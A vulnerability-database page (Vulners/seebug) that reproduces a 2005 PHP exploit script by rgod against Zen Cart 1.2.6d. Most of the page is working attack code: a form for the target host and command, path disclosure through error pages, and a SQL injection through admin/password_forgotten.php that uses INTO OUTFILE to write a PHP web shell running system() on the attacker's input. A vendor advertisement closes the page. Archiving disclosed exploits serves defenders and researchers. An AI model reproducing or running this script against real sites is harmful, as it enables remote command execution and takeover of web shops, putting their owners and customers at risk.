Lucene search
K

Zen Cart <= 1.2.6d (password_forgotten.php) SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

Zen Cart <= 1.2.6d SQL Injection Exploi

Code

                                                &#60;?php
#  ---zencart_126d_xpl.php                              19.42 02/12/2005       #
#                                                                              #
#  Zen-Cart &#60;= 1.2.6d blind SQL injection / remote commands execution          #
#                              coded by rgod                                   #
#                    site: http://rgod.altervista.org                          #
#                                                                              #
#  -&#62; this works with magic_quotes_gpc both on & off                           #
#                                                                              #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
#  Sun-Tzu: &#34;With his forces intact he will dispute the mastery                #
#  of the Empire, and thus, without losing a man, his triumph                  #
#  will be complete. This is the method of attacking by stratagem.&#34;            #

error_reporting(0);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;, 5);
ob_implicit_flush (1);

echo&#39;&#60;html&#62;&#60;head&#62;&#60;title&#62;Zen-Cart&#60;=1.2.6d blind SQL injection/ remote cmmnds xctn
&#60;/title&#62;&#60;meta http-equiv=&#34;Content-Type&#34; content=&#34;text/html; charset=iso-8859-1&#34;&#62;
&#60;style type=&#34;text/css&#34;&#62; body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--&#62;&#60;/style&#62;&#60;/head&#62;&#60;body&#62;&#60;p class=&#34;Stile6&#34;&#62;
Zen-Cart&#60;=1.2.6d blind SQL injection/ remote cmmnds xctn&#60;/p&#62;&#60;p class=&#34;Stile6&#34;&#62;a
script  by  rgod  at        &#60;a href=&#34;http://rgod.altervista.org&#34;target=&#34;_blank&#34;&#62;
http://rgod.altervista.org&#60;/a&#62;&#60;/p&#62;&#60;table width=&#34;84%&#34;&#62;&#60;tr&#62;&#60;td width=&#34;43%&#34;&#62;  &#60;form
name=&#34;form1&#34; method=&#34;post&#34;  action=&#34;&#39;.strip_tags($SERVER[PHP_SELF]).&#39;&#34;&#62;&#60;p&#62;&#60;input
type=&#34;text&#34;  name=&#34;host&#34;&#62; &#60;span class=&#34;Stile5&#34;&#62;* hostname (ex:www.sitename.com)
&#60;/span&#62;&#60;/p&#62; &#60;p&#62;&#60;input type=&#34;text&#34; name=&#34;path&#34;&#62;  &#60;span class=&#34;Stile5&#34;&#62;* path (ex:
/zencart/ or just / ) &#60;/span&#62;&#60;/p&#62;&#60;p&#62;&#60;input type=&#34;text&#34; name=&#34;command&#34;&#62;     &#60;span
class=&#34;Stile5&#34;&#62; * specify a command  &#60;/span&#62;  &#60;/p&#62; &#60;p&#62;        &#60;input type=&#34;text&#34;
name=&#34;application_path&#34;&#62; &#60;span class=&#34;Stile5&#34;&#62;   full application path      (ex:
&#34;/www/zencart/&#34;, &#34;../../www/zencart/&#34;,&#34;c:\www\zencart\&#34; ), if not specified,  we
will try to disclose the path  &#60;/span&#62; &#60;/p&#62; &#60;p&#62; &#60;input type=&#34;text&#34; name=&#34;port&#34;&#62;
&#60;span class=&#34;Stile5&#34;&#62;specify  a  port   other than  80 ( default  value )&#60;/span&#62;
&#60;/p&#62;&#60;p&#62;&#60;input  type=&#34;text&#34;   name=&#34;proxy&#34;&#62;&#60;span class=&#34;Stile5&#34;&#62;  send    exploit
through an  HTTP proxy (ip:port)&#60;/span&#62;&#60;/p&#62;&#60;p&#62;&#60;input type=&#34;submit&#34; name=&#34;Submit&#34;
 value=&#34;go!&#34;&#62;&#60;/p&#62;&#60;/form&#62; &#60;/td&#62;&#60;/tr&#62;&#60;/table&#62;&#60;/body&#62;&#60;/html&#62;&#39;;

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo &#39;&#60;table border=&#34;0&#34;&#62;&#60;tr&#62;&#39;;
while ($ii &#60;= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo &#34;&#60;td&#62;&nbsp;&nbsp;&#60;/td&#62;&#34;;
             for ($li=0; $li&#60;=15; $li++)
                      { echo &#34;&#60;td&#62;&#34;.$headeri[$li+$ki].&#34;&#60;/td&#62;&#34;;
			    }
            $ki=$ki+16;
            echo &#34;&#60;/tr&#62;&#60;tr&#62;&#34;;
            }
if (strlen($datai)==1) {echo &#34;&#60;td&#62;0&#34;.$datai.&#34;&#60;/td&#62;&#34;;} else
{echo &#34;&#60;td&#62;&#34;.$datai.&#34;&#60;/td&#62; &#34;;}
$ii++;
$ji++;
}
for ($li=1; $li&#60;=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo &#34;&#60;td&#62;&nbsp&nbsp&#60;/td&#62;&#34;;
                       }

for ($li=$ci*16; $li&#60;=strlen($headeri); $li++)
                      { echo &#34;&#60;td&#62;&#34;.$headeri[$li].&#34;&#60;/td&#62;&#34;;
			    }
echo &#34;&#60;/tr&#62;&#60;/table&#62;&#34;;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;

function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
		              //next function to send packets
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket &#60; 0) {
                   echo &#34;socket_create() failed: reason: &#34; . socket_strerror($socket) . &#34;&#60;br&#62;&#34;;
                   }
	      else
 		  {   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo &#39;Not a valid prozy...&#39;;
                        die;
                       }
                    echo &#34;OK.&#60;br&#62;&#34;;
                    echo &#34;Attempting to connect to &#34;.$host.&#34; on port &#34;.$port.&#34;...&#60;br&#62;&#34;;
                    if ($proxy==&#39;&#39;)
		   {
		     $result = socket_connect($socket, $host, $port);
		   }
		   else
		   {

		   $parts =explode(&#39;:&#39;,$proxy);
                   echo &#39;Connecting to &#39;.$parts[0].&#39;:&#39;.$parts[1].&#39; proxy...&#60;br&#62;&#39;;
		   $result = socket_connect($socket, $parts[0],$parts[1]);
		   }
		   if ($result &#60; 0) {
                                     echo &#34;socket_connect() failed.\r\nReason: (&#34;.$result.&#34;) &#34; . socket_strerror($result) . &#34;&#60;br&#62;&#60;br&#62;&#34;;
                                    }
	                       else
		                    {
                                     echo &#34;OK.&#60;br&#62;&#60;br&#62;&#34;;
                                     $html= &#39;&#39;;
                                     socket_write($socket, $packet, strlen($packet));
                                     echo &#34;Reading response:&#60;br&#62;&#34;;
                                     while ($out= socket_read($socket, 2048)) {$html.=$out;}
                                     echo nl2br(htmlentities($html));
                                     echo &#34;Closing socket...&#34;;
                                     socket_close($socket);

				    }
                  }
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy==&#39;&#39;)
      {$ock=fsockopen(gethostbyname($host),$port);
       if (!$ock) { echo &#39;No response from &#39;.htmlentities($host);
			die; }
      }
             else
           {
	   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo &#39;Not a valid prozy...&#39;;
                        die;
                       }
	   $parts=explode(&#39;:&#39;,$proxy);
	    echo &#39;Connecting to &#39;.$parts[0].&#39;:&#39;.$parts[1].&#39; proxy...&#60;br&#62;&#39;;
	    $ock=fsockopen($parts[0],$parts[1]);
	    if (!$ock) { echo &#39;No response from proxy...&#39;;
			die;
		       }
	   }
fputs($ock,$packet);
if ($proxy==&#39;&#39;)
  {

    $html=&#39;&#39;;
    while (!feof($ock))
      {
        $html.=fgets($ock);
      }
  }
else
  {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
    {
      $html.=fread($ock,1);
    }
  }
fclose($ock);
echo nl2br(htmlentities($html));
}

function disclose_path($paths)
{ global $p,$paths,$host,$html,$application_path;
    for ($i=0; $i&#60;=count($paths)-1; $i++)
    {
      $packet=&#34;GET &#34;.$p.$paths[$i].&#34; HTTP/1.1\r\n&#34;;
      $packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
      $packet.=&#34;Connection: Close\r\n\r\n&#34;;
      show($packet);
      sendpacketii($packet);
      if (eregi(&#39;Fatal error&#39;,$html))
       {
        $temp=explode(&#39;in &#60;b&#62;&#39;,$html);
        $temp2=explode(&#39;&#60;/b&#62;&#39;,$temp[1]);
        $result[$i]=$temp2[0];
        $temp=explode(&#39;/&#39;,$paths[$i]);
        $temp2=explode($temp[0],$result[$i]);
        $result[$i]=$temp2[0];
        echo &#34;&#60;br&#62;&#34;.htmlentities($result[$i]).&#34;&#60;br&#62;&#34;;
        $application_path=$result[$i];
        break;
       }
   }
}
$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port];$command=$_POST[command];
$proxy=$_POST[proxy];$application_path=$_POST[application_path];

if (($host&#60;&#62;&#39;&#39;) and ($path&#60;&#62;&#39;&#39;) and ($command&#60;&#62;&#39;&#39;))
{
$port=intval(trim($port));
if ($port==&#39;&#39;) {$port=80;}
if (($path[0]&#60;&#62;&#39;/&#39;) or ($path[strlen($path)-1]&#60;&#62;&#39;/&#39;)) {echo &#39;Error... check the path!&#39;; die;}
if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}
$host=str_replace(&#34;\r\n&#34;,&#34;&#34;,$host);
$path=str_replace(&#34;\r\n&#34;,&#34;&#34;,$path);

if ($application_path==&#39;&#39;)
{
   $paths= array
   (
    &#39;admin/includes/graphs/banner_daily.php&#39;,
    &#39;admin/includes/graphs/banner_infobox.php&#39;,
    &#39;admin/includes/graphs/banner_yearly.php&#39;,
    &#39;admin/includes/graphs/banner_monthly.php&#39;,
    &#39;admin/includes/application_bottom.php&#39;,
    &#39;admin/includes/attributes_preview.php&#39;,
    &#39;admin/includes/modules/category_product_listing.php&#39;,
    &#39;admin/includes/modules/copy_to_confirm.php&#39;,
    &#39;admin/includes/modules/delete_product_confirm.php&#39;,
    &#39;admin/includes/modules/move_product_confirm.php&#39;
   );

   disclose_path($paths);
   if ($application_path==&#39;&#39;)
   {
     $packet=&#34;GET &#34;.$p.&#34;index.php HTTP/1.1\r\n&#34;;
     $packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
     $packet.=&#34;Connection: Close\r\n\r\n&#34;;
     show($packet);
     sendpacketii($packet);
     $temp=explode(&#39;Warning: Installation directory exists at: &#39;,$html);
     $temp2=explode(&#39;. &#39;,$temp[1]);
     $temp=explode(&#39;zc_install&#39;,$temp2[0]);
     $application_path=$temp[0];
     if ($application_path==&#39;&#39;){
        $temp=explode(&#39;Warning: I am able to write to the configuration file: &#39;,$html);
        $temp2=explode(&#39;. &#39;,$temp[1]);
        $temp=explode(&#39;includes/configure.php&#39;,$temp2[0]);
        $application_path=$temp[0];}
   }
  if ($application_path==&#39;&#39;) {die(&#34;Full application path not retrieved...&#34;);}
}

$dirs= array
(
 &#39;&#39;, &#39;admin/&#39;, &#39;cache/&#39;, &#39;docs/&#39;, &#39;download/&#39;, &#39;email/&#39;, &#39;extras/&#39;, &#39;htmlarea/&#39;,
 &#39;images/&#39;, &#39;includes/&#39;, &#39;media/&#39;, &#39;pub/&#39;, &#39;zc_install/&#39;
);

echo &#34;Full application path -&#62;&#34;.htmlentities($application_path).&#34;&#60;br&#62;&#34;;
$SHELL=&#39;&#60;?php echo &#34;Hi Master!&#34;;error_reporting(0);ini_set(&#34;max_execution_time&#34;,0);system($_GET[cmd]);?&#62;&#39;;
for ($i=0; $i&#60;=count($dirs)-1; $i++) //searching a writable dir... should works at first check
{
  $mypath=$application_path.$dirs[$i];
  $temp=$mypath;
  $mypath=str_replace(&#39;\\&#39;,&#39;\\\\\\\\&#39;,$mypath); //for Windows boxes...
  if ($temp&#60;&#62;$mypath) str_replace(&#39;/&#39;,&#39;\\\\\\\\&#39;,$mypath);

  $SQL=&#34;&#39;UNION SELECT 0,0,&#39;&#34;.$SHELL.&#34;&#39;,0 INTO OUTFILE &#39;&#34;.$mypath.&#34;ipn.php&#39; from admin/*&#34;;
  $SQL=urlencode($SQL);
  $data=&#34;admin_email=&#34;.$SQL.&#34;&submit=resend&#34;;
  $packet=&#34;POST &#34;.$p.&#34;admin/password_forgotten.php HTTP/1.1\r\n&#34;;
  $packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
  $packet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
  $packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
  $packet.=&#34;Connection: Close\r\n\r\n&#34;;
  $packet.=$data;
  show($packet);
  sendpacketii($packet);
  $packet=&#34;GET &#34;.$p.$dirs[$i].&#34;ipn.php?cmd=&#34;.urlencode($command).&#34; HTTP/1.1\r\n&#34;;
  $packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
  $packet.=&#34;Connection: Close\r\n\r\n&#34;;
  show($packet);
  sendpacketii($packet);
  if (eregi(&#34;Hi Master&#34;,$html)) {echo &#34;Exploit succeded...&#34;; die;}
}
//if you are here...
echo &#34;Exploit failed...&#34;;
}
else
{echo &#34;Fill * required, optionally specify a proxy &#34;;}
?&#62;

# milw0rm.com [2005-12-02]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
18